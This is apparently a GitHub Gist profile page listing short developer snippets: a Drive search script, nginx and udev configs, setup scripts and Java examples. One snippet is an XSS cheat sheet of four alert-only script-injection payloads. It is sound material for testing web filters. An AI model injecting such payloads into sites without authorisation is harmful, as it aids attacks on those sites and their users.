Skip to content

Instantly share code, notes, and snippets.

View appsscript.js
function main() {
findSharedDocuments("tomtasche@gmail.com");
}
function findSharedDocuments(email) {
var files = DriveApp.searchFiles('("' + email + '" in readers OR "' + email + '" in writers) AND NOT ("' + email + '" in owners)');
var success = 0;
while (files.hasNext()) {
var file = files.next();
try {
@TomTasche
TomTasche / test.sh
Created Oct 19, 2017
generate random file, send to server and print time
View test.sh
#!/bin/bash
echo "time_total: %{time_total}\n" > curl_format.txt
dd if=/dev/urandom of=data.txt bs=100K count=1
while true; do curl -X POST -w "@curl_format.txt" -d @data.txt -s https://requestb.in/1j4ph411; done;
@TomTasche
TomTasche / nginx.conf
Last active Feb 1, 2021
config for nginx to proxy a specific path to an S3 bucket
View nginx.conf
# copied from default config
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
@TomTasche
TomTasche / create_apple_rule.sh
Last active Jun 20, 2017
do not automatically mount apple devices in ubuntu (fix for mounting iphone in mac-guest in vmware)
View create_apple_rule.sh
# if you're running mac osx inside a vmware virtual machine, mounting an iphone into it can be cumbersome because ubuntu always claims the device for itself.
# sometimes it still works to mount it into the vm, but most of the time it doesn't.
# to fix that we simply never mount apple-devices on our ubuntu host, so that vmware is able to claim them for the guest.
# this ignores all apple usb-devices on your ubuntu host!
echo 'ATTRS{idVendor}=="05ac", ENV{UDISKS_IGNORE}="1"' | sudo tee /etc/udev/rules.d/100-local.rules
sudo udevadm control --reload-rules && sudo udevadm trigger
View npm_setup.sh
#!/bin/bash
# install node
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install git nodejs --yes
# fix npm permissions: https://docs.npmjs.com/getting-started/fixing-npm-permissions
mkdir ~/.npm-global
npm config set prefix '~/.npm-global'
echo "export PATH=~/.npm-global/bin:\$PATH" >> ~/.profile
View xss-cheatsheet
depending on your specific scenario you might want to try to inject one of those:
<img onerror="window.alert('hey')" src="bla"/>
<svg><script>alert&#40/hey/.source&#41</script></svg>
<img onerror="window.onerror=alert;throw 'hey'" src="bla"/>
<script>window.onerror=alert;throw "hey";</script>
inspiration:
View setup_script.sh
#!/bin/bash
sudo apt-get update --yes
sudo apt-get upgrade --yes
curl -sSO https://dl.google.com/cloudagents/install-logging-agent.sh
sudo bash install-logging-agent.sh
sudo rm install-logging-agent.sh
sudo apt-get install git default-jdk maven --yes
View startup_script.sh
#!/bin/bash
logger "started"
sudo apt-get update --yes
sudo apt-get upgrade --yes
cd worker/
git clean -fdx
git checkout master
View ComputeEngineBridge.java
Compute compute = ComputeOptions.defaultInstance().service();
String instanceName = "bla";
String projectId = "blu";
String zone = "ble"; // e.g. europe-west1-d
InstanceId instanceId = InstanceId.of(projectId, zone, instanceName);
Instance instance = compute.getInstance(instanceId);
try {
View ListExample.java
List<String> data = new LinkedList<String>();
// or if you know the amount of data upfront:
List<String> data = new ArrayList<String>(3);
data.add("hello");
data.add("hello");
data.add("bye");
System.out.println(data.size()); // 3
// in order to lookup data you always have to iterate the whole list until you find the value you're looking for